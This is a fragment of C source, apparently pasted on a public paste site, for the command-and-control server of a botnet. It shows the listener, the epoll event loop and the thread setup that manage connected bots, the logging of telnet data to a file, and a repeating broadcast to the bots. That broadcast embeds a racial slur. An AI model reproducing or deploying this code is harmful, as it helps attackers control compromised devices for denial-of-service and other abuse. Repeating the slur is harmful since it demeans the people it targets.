  712.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  713.     serv_addr.sin_port = htons(port);
  714.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  715.     listen(sockfd,5);
  716.     clilen = sizeof(cli_addr);
  717.     while(1) {
  718.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  719.         if (newsockfd < 0) perror("ERROR on accept");
  720.         pthread_t thread;
  721.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  722. }}
  723. int main (int argc, char *argv[], void *sock)
  724. {
  725.         signal(SIGPIPE, SIG_IGN);
  726.         int s, threads, port;
  727.         struct epoll_event event;
  728.         if (argc != 4) {
  729.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  730.             exit (EXIT_FAILURE);
  731.         }
  732.         port = atoi(argv[3]);
  733.         telFD = fopen("telnet.txt", "a+");
  734.         threads = atoi(argv[2]);
  735.         listenFD = create_and_bind (argv[1]);
  736.         if (listenFD == -1) abort ();
  737.         s = make_socket_non_blocking (listenFD);
  738.         if (s == -1) abort ();
  739.         s = listen (listenFD, SOMAXCONN);
  740.         if (s == -1) {
  741.             perror ("listen");
  742.             abort ();
  743.         }
  744.         epollFD = epoll_create1 (0);
  745.         if (epollFD == -1) {
  746.             perror ("epoll_create");
  747.             abort ();
  748.         }
  749.         event.data.fd = listenFD;
  750.         event.events = EPOLLIN | EPOLLET;
  751.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  752.         if (s == -1) {
  753.             perror ("epoll_ctl");
  754.             abort ();
  755.         }
  756.         pthread_t thread[threads + 2];
  757.         while(threads--) {
  758.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  759.         }
  760.         pthread_create(&thread[0], NULL, &BotListener, port);
  761.         while(1) {
  762.             broadcast("PING", -1, "NIGGER");
  763.             sleep(60);
  764.         }
  765.         close (listenFD);
  766.         return EXIT_SUCCESS;
  767. }
Add Comment
Please, Sign In to add comment